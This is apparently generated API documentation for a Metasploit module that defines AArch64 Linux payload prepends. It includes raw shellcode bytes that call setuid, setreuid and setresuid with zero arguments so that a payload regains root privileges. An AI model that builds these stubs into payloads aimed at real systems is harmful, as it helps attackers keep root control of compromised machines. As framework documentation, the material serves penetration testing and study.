Module: Msf::Payload::Linux::Aarch64::Prepends

Includes:
Prepends
Defined in:
lib/msf/core/payload/linux/aarch64/prepends.rb

Overview

Linux aarch64 prepends

Instance Method Summary collapse

Methods included from Prepends

#apply_prepends, #initialize, #register_prepend_options

Instance Method Details

#appends_mapObject



39
40
41
# File 'lib/msf/core/payload/linux/aarch64/prepends.rb', line 39

def appends_map
  {}
end

#appends_orderObject



11
12
13
# File 'lib/msf/core/payload/linux/aarch64/prepends.rb', line 11

def appends_order
  %w[]
end

#prepends_mapObject



15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# File 'lib/msf/core/payload/linux/aarch64/prepends.rb', line 15

def prepends_map
  {
    # 'PrependFork' =>  "",

    # setuid(0)
    'PrependSetuid' => "\xe0\x03\x1f\xaa" + # mov   x0, xzr
      "\x48\x12\x80\xd2" +  # mov   x8, #0x92
      "\x01\x00\x00\xd4",   # svc   0x0

    # setreuid(0, 0)
    'PrependSetreuid' => "\xe0\x03\x1f\xaa" + # mov   x0, xzr
      "\xe1\x03\x1f\xaa" +  # mov   x1, xzr
      "\x28\x12\x80\xd2" +  # mov   x8, #0x91
      "\x01\x00\x00\xd4",   # svc   0x0

    # setresuid(0, 0, 0)
    'PrependSetresuid' => "\xe0\x03\x1f\xaa" + # mov   x0, xzr
      "\xe1\x03\x1f\xaa" +  # mov   x1, xzr
      "\xe2\x03\x1f\xaa" +  # mov   x2, xzr
      "\x68\x12\x80\xd2" +  # mov   x8, #0x93
      "\x01\x00\x00\xd4"    # svc   0x0
  }
end

#prepends_orderObject



7
8
9
# File 'lib/msf/core/payload/linux/aarch64/prepends.rb', line 7

def prepends_order
  %w[PrependSetresuid PrependSetreuid PrependSetuid]
end